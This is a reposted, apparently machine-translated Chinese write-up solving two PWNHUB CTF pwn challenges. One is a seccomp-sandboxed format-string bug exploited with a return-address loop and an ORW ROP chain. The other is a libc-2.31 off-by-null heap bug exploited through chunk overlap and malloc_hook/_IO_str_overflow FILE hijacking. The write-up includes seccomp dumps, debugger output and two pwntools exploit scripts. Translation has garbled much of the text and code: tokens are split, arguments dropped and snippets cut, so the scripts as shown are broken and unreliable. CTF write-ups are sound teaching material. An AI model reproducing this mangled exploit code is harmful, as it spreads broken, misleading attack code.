pwnhub中有两个pwn主题,一个用于格式化字符串,一个用于堆叠libc-2.31。题目逆向量不大,更容易分析程序,更注重运用的手法。言归正传。
公开赛冠军头衔0x00的程序分析&漏洞分析
一打开就看到讨厌的prctl函数,沙箱化,用seccomp工具分析
//seccomp-tools转储。/easypwinline CODE JT JF K = = = = = = = = = = = = = = = = = = = = = = = = = = = = 0000:0x 20 0x 0000004 a = arch 0001:0x 15 0x 000050 xc 000003 EIF goto 00070002:0x 20 0x 0000 0x 00000a = sys _ number 0003:0x 35 0x 00010 x 40000000000 if goto 000050004:0x 10
您可以看到execve函数被禁用,您需要使用orw来读取标志
程序漏洞非常明显,格式字符串漏洞的关键代码如下:
阅读;//读取0x18字符串到堆栈的buf上的strcpy & unk _ 202060+0x24 * a1,& buf);//复制到bss节printf&unk_202060+0x24* a1,& buf);//格式字符串漏洞
可以发现,虽然bss上看起来是格式字符串漏洞,但是数据是先写在栈上的,所以可以像正常栈上的格式字符串一样随意读写。需要注意的是,size=0x18是有限制的。
任意读写,就可以得到libc,pie,satck的值。但是由于沙盒规则的限制,我们需要编写大量的值,需要反复触发格式化字符串的漏洞。但是如下图,程序只给了我们两个触发机会。
signedinti对于vuln
那么关键问题就落在如何构造循环上了。
这里的想法如下:
//堆栈上的返回地址。文本:0000000000000D4D add,1///修改为。文本:00000000000d3amov,0
这样,如果我们每隔一个周期做一次以上的修改,就可以做下一个周期,每隔一秒钟就有一次随意读写的机会。
0x01漏洞
经过以上分析,利用思路已经比较清晰,基本利用步骤如下:
首次触发格式字符串漏洞,暴露堆栈、饼图和libc的相关信息
第二次将返回地址0x4d修改为0x3a,并将I的值再次设置为0
。text:00000000000004 dadd,1//堆栈上的返回地址被修改为。文本:00000000000d3amov,0
依此类推,得到多个任意写。
在bss上写orw的rop。
最后,执行堆栈迁移以执行rop,并获取标志。
有关详细信息,请参考以下exp脚本。
0x02 myexp
具体的exp脚本如下,写起来相当繁琐。
from pwn import * context . log _ level = ' debug ' defdebug:print PID of pause
def write:value = str . rjust # offset = str . rjustifval = = 0:name = ' % '+' 0010 '+' $ HN '+' a ' * 8+p64 else:name = ' % '+value+' c '+' % '+' 0010 '+' $ HN '+p64 p . send after p . sendlineafter)
#为了下一个loop name = ' % '+str+" c "+" % 10 $ hhnaaaaa "+p64 p . send after p . sendlineafter)
def write _ addr:write write & 0x ffff)write & 0x ffff)
def write _ stack _ addr:write write & 0x ffff)write & 0x ffff)
# p = processp =远程调试# leak statk libc & & pie # test 0x 7 FFE 4279d 630 0x 7 fcf 97582840 p . send after p . recvuntil libcbase = int,16)- 0x20840log.success)
p.recvuntil stack=int,16) log.success)
p.recvuntil pie=int,16)-0xd 70 log . success)p . send lineafter)debug # # make loop x00-is iokname = ' % '+str+" c "+" % 10 $ hhnaaaaa "+p64 p . send after p . send lineafter)
pop _ rdi = 0x 000000000021112+libcbase pop _ RSI = 0x 0000000000202 F8+libcbase pop _ RDX = 0x 00000000001 b92+libcbase open _ addr = 0x f 70 F0+libcbase read _ addr = 0x f 7310+libcbase puts _ addr = 0x 6 F6 A0+libcbase leaf _ ret _ addr = 0x 0000000000000/flag write _ addr # write _ addr write _ addr
write _ addr write _ addr write _ addr write _ addr write _ addr write _ addr # once write _ addr
write_addr write_addr write_addr
write _ stack _ addr write _ stack _ addr
p.sendafter p.sendlineafter)
p.sendafter p.sendlineafter)
debugp . interactive//flag { 48 e 13 DC 24d 00405599522395 a 6160972 }
终于拿到旗子了
内部竞争项目分析标题0x00 &漏洞分析
沙盒规则也被设置,execve被禁用,orw也需要读取标志
line CODE JT JF K=================================0000: 0x200x000x000x00000004A = arch 0001: 0x150x000x090xc000003eif goto00110002: 0x200x000x000x00000000A = sys_number 0003: 0x350x070x000x40000000if goto00110004: 0x150x060x000x00000029if goto00110005: 0x150x050x000x0000002aif goto00110006: 0x150x040x000x00000031if goto00110007: 0x150x030x000x00000032if goto00110008: 0x150x020x000x00000038if goto00110009: 0x150x010x000x0000003bif goto00110010: 0x060x000x000x7fff0000returnALLOW 0011: 0x060x000x000x00000000returnKILL经典的堆菜单主题,下面是对程序基本功能的简单分析:
add:添加一个堆块,要求size这里以edit为例进行简单的分析,show和edit是完全一致的:_free_hook =编辑;//首先设置__free_hook的值。//edit function void _ _ fastcall edit { int v1;//_ _ ASM { end br 64 } _ free _ hook = 0LL;v1 = *-9;printfif//check { read;a1 = 0;//off by null } free;}一般的逻辑是将__free_hook设置为编辑或显示功能,然后先执行编辑和显示功能再释放
ptr= 0LL; size_= 0LL;指针和大小被清除,所以不存在uaf问题。
本主题的漏洞在于上述编辑功能。假设有一个大小为0x20的块。如果前一个堆块不处于空闲状态,则它的大小=0x21,v1=0x21-9=0x18,写入大小为0x18的数据,然后a1=0。这里有一个问题,漏洞由空关闭。
0x01漏洞
现在,我们先理清思路,考虑地址泄露的问题。libcbase和heap addr可以很容易地通过剩余数据信息获得。然后,关键问题是在libc-2.31下利用off by null和orw绕过沙盒的机制。
按空值使用off
这里很多高手对libc-2.31的新增保护机制做了深入的分析,主要是增加了预尺寸和大小的检查,如果大小不一致,就会报错。这使得以前版本的想法的使用无效。
这里采用以下旁路思想:在组块中伪造组块主要是伪造size、fd、bk的值,其中size写成presize,fd=bk写成伪造组块的堆地址,如下图
pwndbg> x/20xg 0x55c1a08061400x55c1a0806140: 0x6161616161616161 0x00000000000001510x55c1a0806150: 0x0000000000000000 0x0000000000000371//fake chunk0x55c1a0806160: 0x000055c1a0806150 0x000055c1a08061500x55c1a0806170: 0x6161616161616161 0x61616161616161610x55c1a0806180: 0x6161616161616161 0x6161616161616161然后可以正常写presize,用null触发off的漏洞,然后释放堆块形成块重叠。
Orw沙盒旁路
目前我知道绕过libc-2.31的orw沙盒有两种方法,欢迎有其他思路的老师交流。
一种是借助free_hook编写一个ropgaget,将rdi转换成rdx,然后借助set_context函数实现。就这个题目来说,free_hook是不能用的。这里的free_hook在bss区,我们不能透露地址。
这里,我们使用另一种利用方法,malloc_hook+io劫持,来实现orw。这里推荐一篇其他大师的分析文章,写的很详细:
联系
主要的利用链如下:
exit函数触发-->_IO_cleanup-->_IO_flush_all_lockp-->_IO_str_overflow //触发__malloc_hook在_IO_str_overflow 种会调用 new_buf = malloc ;//rdi-->rdx,方便后面set_context的利用,这里的rdi就是stdin0x7ffff7e62b65: mov rdx,QWORD PTR这一部分的关键负载如下,那些需要绕过的关键检查都标注在下面:
payload = b'x00'*0x28 #把flag处的值设置为x00,绕过代码中的很多check#fp->_mode _IO_write_ptr > fp->_IO_write_base)payload += p64 #_IO_write_ptr && rdi+0x28-->rdx payload = payload.ljustpayload += p64 #_IO_str_jumps 为了执行的是_IO_str_overflowpayload += orwpayload = payload.ljustpayload += p64 #malloc_hook-->set_context0x02 myexp
具体exp如下:
frompwn import* context.log_level= 'debug'defdebug: print)暂停
defchoice: p.sendlineafter)
defaud:choice p . sendlineafter)# ndefshow:choice p . sendlineafter)选择
def edit:choice p . sendlineafter)choice p . send after
#libc.so正确# p = remote p = process libc = ELF for I in range:add add # index = 8 size = 0x 70 add # index = 9 size = 0x 20 add # index = 10 size = 0x 210 add # index = 11 size = 0x 210 add # index = 12
# leak heap address show add show p . recvuntil heap = u64)。ljust)- log.success) #debug
# leak libcbasefori in range:show # add add show p . recvuntil libcbase = u64 . ljust)-# off by null # only rest index = 8,9,10,11 # 0x 100-> 0x 150 0x 150+0 xb0 = 0x 200 add+p64+p64)+p64))# 0 debugedit)show # get重叠
# orw stdin = libcbase+ret = 0x 00000000000025679+libcbase pop _ rdi = libcbase+0x 0000000000026 b 72 opp _ RSI = libcbase+0x 000000000027529 pop _ RDX _ rbx = libcbase+0x 000000000162866 flag = heap+0x 565150050530+0x 1 E0
# stdin = libcbase+payload = b ' x00 ' * 0x 28 payload+= p64 # _ IO _ write _ ptr & & rdi+0x 28--> rdxpayload = payload . ljust payload+= p64 # _ IO _ str _ jumpspayload+= or payload = payload . ljust payload+= p64 # malloc _ hook--> set _ context
show show add add)# FD-> stdinadd add debugp . interactive
拿到旗子
最后,文中如有错误,请指出;如果你有更好的想法,欢迎分享。
1.《Pwn PWNHUB双蛋赛pwn题解》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《Pwn PWNHUB双蛋赛pwn题解》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/yule/802342.html